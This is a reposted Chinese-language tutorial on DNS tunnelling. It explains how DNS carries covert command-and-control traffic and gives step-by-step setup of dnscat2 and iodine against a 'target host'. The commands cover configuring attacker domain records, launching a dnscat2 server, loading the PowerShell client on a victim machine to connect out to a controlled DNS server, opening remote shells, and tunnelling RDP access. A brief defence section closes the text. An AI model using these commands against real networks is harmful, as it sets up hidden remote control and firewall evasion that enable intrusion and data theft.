DNS隧道


DNS隧道技術原理

什么是隧道?

在實際的網絡中,通常會通過各種邊界設備、軟/硬件防火牆甚至入侵檢測系統來檢查對外連接情況,如果發現異樣,就會對通信進行阻斷。那么什么是隧道呢?這里的隧道,就是一種繞過端口屏蔽的通信方式。防火牆兩端的數據包通過防火牆所允許的數據包類型或端口進行封裝,然后穿過防火牆,與對方進行通信。當封裝的數據包到達目的地時,將數據包還原,並將還原后的數據包發送到相應服務器上。

什么是DNS隧道?

DNS隧道(DNS Tunneling)是將其他協議的內容封裝在DNS協議中,然后以DNS請求和響應包完成傳輸數據(通信)的技術。當前網絡世界中的DNS是一項必不可少的服務,所以防火牆和入侵檢測設備處於可用性和用戶友好的考慮大都不會過濾DNS流量,也為DNS成為隱蔽信道創造了條件,因此,DNS隧道在僵屍網絡和APT攻擊中扮演着重要的角色。

DNS隧道的原理:

在進行DNS查詢時,如果查詢的域名不在DNS服務器本機的緩存中,就會訪問互聯網進行查詢,然后返回結果。如果在互聯網上有一台定制的服務器,那么依靠DNS協議即可進行數據包的交換。從DNS協議的角度看,這樣的操作只是在一次次查詢某個特定的域名並得到解析結果,但其本質問題是,預期的返回結果應該是一個IP地址,而事實上不是——返回的可以是任意字符串,包括加密的C&C指令。

DNS隧道分為兩種:

直連模式:客戶端直接向指定IP地址的DNS服務器發起DNS解析請求

中繼模式:DNS經過互聯網的迭代解析,指向指定的DNS服務器。

區別在於直連模式速度相對快,但安全性相對較差。非直連模式速度相對較慢,但安全性相對較高。大多數情況下都使用中繼模式。

(另外直連方式的限制比較多,如目前很多的企業網絡為了盡可能的降低遭受網絡攻擊的風險,一般將相關策略配置為僅允許與指定的可信任DNS服務器之間的流量通過。)

這里我們假設我們部署的是中繼DNS隧道,首先我們的被控制器要查詢xxx.xxx.xxx(攻擊者構造的域名),當本地緩存不存在這個域名時,它將前往DNS服務器節點查詢,然后DNS服務器在我們自己偽裝的DNS服務器上查詢到域名地址對應的IP,那么我們就可以封裝加密的C&C指令傳輸到被控端上。

DNS隧道技術實現

僅演示中繼隧道搭建,因為這種隧道在實戰中用的比較多

dnscat2

https://github.com/iagox86/dnscat2

dnscat2使用DNS協議創建加密的C&C通道,通過預共享密鑰進行身份驗證;使用shell及DNS查詢類型(TXT MX CNAME A AAAA),多個同時進行的會話類似於SSH中的隧道。嚴格來講,dnscat2是命令與控制工具

dnscat2通過DNS進行控制並執行命令,具有如下特點:

支持多個會話

流量加密

使用密鑰防止中間人攻擊

在內存中直接執行powershell腳本

隱蔽通信

1、 部署域名解析

主要是添加這兩條記錄,這里我使用的是godaddy的域名和百度雲服務器

A記錄:用於描述域名到IP地址的映射關系

NS記錄:用於指定該域名由哪個DNS服務器來進行解析

第二行A類型的解析結果是:告訴域名服務器ns1.yokan.***地址為1**.***.***.*** 。第七行NS類型的解析結果是:告訴域名服務器c**.yokan.***的地址為ns1.yokan.***。

配置完成后,測試一下域名解析是否設置成功:

A類解析 :

ping ns1.yokan.***

如果該命令能夠執行,且顯示的IP地址為1**.***.***.***(服務器地址),說明第一條A類解析設置成功並已生效。

NS解析:

在服務器上進行抓包(端口53的UDP包),命令如下:

tcpdump -n -i eth0 udp dst port 53

輸入如下命令

nslookup ***.yokan.***

如果抓到對域名c**.yokan.***進行查詢的DNS請求數據包,就說明第二條NS解析設置已經生效。

2、安裝dnscat2服務端

因為服務端是用Ruby語言編寫的,所以需要配置Ruby環境。

Ubuntu上安裝:

apt-get install gem

apt-get install ruby-dev

apt-get install libpq-dev

apt-get install ruby-bundler

apt-get install git

git clone https://github.com/iagox86/dnscat2.git

cd dnscat2/server

bundle install

接下來,執行如下命令,啟動服務端

sudo ruby ./dnscat2.rb c**.yokan.*** -e open -c just_test --no-cache

-c :  定義了“pre-shared secret”,可以使用具有預共享密鑰的身份驗證機制來防止中間人攻擊。否則,因為傳輸的數據並未加密,所以可能被監聽網絡流量的第三方還原。如果不定義此參數,dnscat2會生成一個隨機字符串(將其復制下來,在啟動客戶端時需要使用它)

-e :  規定安全級別。“open”表示服務端允許客戶端不進行加密

--no-cache :  禁止緩存。務必在運行服務器時添加該選項,因為powershell-dnscat2客戶端與dnscat2服務器的Caching模式不兼容。

3、在目標主機上安裝客戶端

dnscat2客戶端是使用C語言編寫的,因此在使用前需要進行編譯。在Windows中,可以使用VS進行編譯;在Linux中,直接運行“make install”命令即可進行編譯。

在Linux中輸入如下命令,在目標機器上安裝dnscat2客戶端

git clone https://github.com/iagox86/dnscat2.git

cd dnscat2/client/

make

在本次測試中,目標機器的操作系統是Windows,因此可以直接使用編譯好的Windows客戶端https://downloads.skullsecurity.org/dnscat2/

推薦使用powershell版本的dnscat2客戶端

https://github.com/lukebaggett/dnscat2-powershell

(如果要使用dnscat2-Powershell腳本,目標Windows機器需要支持powershell2.0以上版本)。

把腳本下載到目標機器中,執行如下命令加載腳本:

Import-Module .\dnscat2.ps1

加載腳本后,執行如下命令,開啟dnscat2-powershell服務:

Start-Dnscat2 -Domain ***.yokan.*** -DNSServer 106.***.***.***

在客戶端中運行dnscat2.ps1腳本之后,在服務器中可以看到客戶端上線的提示

4、反彈shell

dnscat2服務端使用的是交互模式,所有的流量都由DNS來處理。dnscat2的使用方法和Metasploit類似。

輸入“Windows”或者“sessions"命令,可以查看當前的控制進程(每個連接都是獨立的)。輸入”window -i 1"或者“session -i 1"命令,進入目標主機,輸入“help”命令,可以查看控制台支持的命令。

輸入"shell”命令,打開另外一個會話,建立一個交互環境。可以輸入cmd指令,進行查詢

調用exec命令,可以遠程打開程序。例如

exec notepad.exe

執行如下命令,創建一個控制台,然后可以執行powershell命令和腳本

exec psh

iodine

iodine可以通過一台DNS服務器制造一個IPv4數據通道,特別適合在目標主機只能發送DNS請求的網絡環境中使用。iodine是基於C語言開發的,分為服務端程序iodined和客戶端程序iodine。kali中內置了iodine。 下載:https://github.com/Al1ex/iodine

iodine相對於dnscat2來說,速度和穩定性都是在dnscat2之上的。

iodine工作原理是:通過 TAP虛擬網卡,在服務端建立一個局域網;在客戶端,通過TAP 建立一個虛擬網卡;兩者通過 DNS 隧道連接,處於同—個局域網(可以通過ping命令通信)。在客戶端和服務端之間建立連接后,客戶機上會多出一塊名為“dns0”的虛擬網卡。更多使用方法和功能特性,請參考iodine的官方文檔:http://code.kryo.se/iodine

1、安裝服務端

首先,設置域名。在這里要盡可能使用短域名(域名越短,隧道的帶寬消耗就越小)。設置A記錄iodine服務器的IP地址,將NS記錄指向此域名

接下來,在服務端中安裝iodine。在Windows中,需要安裝編譯好的對應版本的iodine。在Kali Linux中,默認安裝了iodine。如果使用的是基於Debian的發行版Linux,可以執行如下命令進行安裝:

apt install iodine

安裝后,就可以使用如下命令運行iodine了

iodined -f -c -P just_test 192.168.0.1 ***.yokan.*** -DD

-f :  在前台運行

-c :  禁止檢查所有傳入請求的客戶端IP地址

-P :  客戶端和服務器之間用於驗證身份的密碼

-D :  指定調試級別。 -DD指第二級。“D”的數量隨等級增加

這里的192.168.0.1是自定義的局域網虛擬IP地址。完成基本配置后,可以通過iodine檢查頁面(https://code.kryo.se/iodine/check-it)檢查配置是否正確

如果配置無誤卻無法正常工作,需要檢查服務端的防火牆配置情況。

2、 安裝客戶端,並使用DNS隧道

2.1目標主機為Linux

在Linux客戶端機器上,只需要安裝iodine客戶端,命令如下:

apt install iodine

iodine -f -P just_test ***.yokan.*** -M 200

-r :  iodine有時可能會自動將DNS隧道切換為UDP通道,該參數的作用是強制在任何情況下使用DNS隧道

-M :  指定上行主機名的大小

-m :  調節最大下行分片的大小

-T :  指定所使用的DNS請求的類型,可選項有NULL、PRIVATE、TXT、SRV、CNAME、MX、A

-O :  指定數據編碼規范

-L :  指定是否開啟懶惰模式(默認為開啟)

-I :  指定請求與請求之間的時間間隔

出現這個表明建立連接成功

可以看到,客戶端上多了一塊dns0虛擬網卡

並且可以看到路由規則上增添了192.168.0.0這個網段

使用DNS隧道:

返回服務器查看,發現在服務端上已經建立了連接

新啟一個終端,我們嘗試在服務器上遠程連接目標機器,顯示連接成功:

2.2目標主機為Windows

如果目標機器是Windows機器,需要下載編譯好的Windows版本,同時,需要安裝TAP網卡驅動程序。也可以下載某VPN,在安裝時僅選擇TAP-Win32驅動程序。安裝后,服務器上多了一塊名為"TAP-Windows Adapter V9"的網卡

然后我們接着下載iodine的windows客戶端http://code.kryo.se/iodine/iodine-0.7.0-windows.zip

將iodine-0.7.0-Windows解壓后,進入解壓目錄,輸入如下命令,連接服務端

( 要以管理員的身份運行命令,我認為iodine唯一的缺點就是要高權限運行命令,可能要配合提權操作才能充分發揮iodine的作用)

iodine.exe -f -P just_test ***.yokan.***

如果出現,如上圖,“Connection setup complete, transmitting data.”的提示信息,就表示DNS隧道已經建立了。

此時,TCP over DNS已經建立了。在客戶端執行"ping 192.168.0.1"命令,連接成功

使用DNS隧道:DNS隧道的使用方法比較簡單。由於客戶端和服務器在同一個局域網中,只要直接訪問即可。例如,登錄目標主機的3389端口,就可以直接執行"rdesktop 192.168.0.2:3389"命令。同樣,目標主機也可以通過SSH進行登錄服務器

防御DNS隧道的方法

防御隧道攻擊並非易事,特別是防御DNS隧道攻擊。通過如下操作,能夠防御常見的隧道攻擊行為。

i)禁止網絡中的任何人向外部服務器發送DNS請求,只允許與受信任的DNS服務器通信

ii)雖然沒有人會將TXT解析請求發送給DNS服務器,但是dnscat2和郵件服務器/網關會這樣做。因此,可以將郵件服務器/網關列入白名單並阻傳人和傳出流量中的TXT請求。

iii)跟蹤用戶的 DNS查詢次數。如果達到閱值,就生成相應的報告

iv)阻止ICMP


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2024 CODEPRJ.COM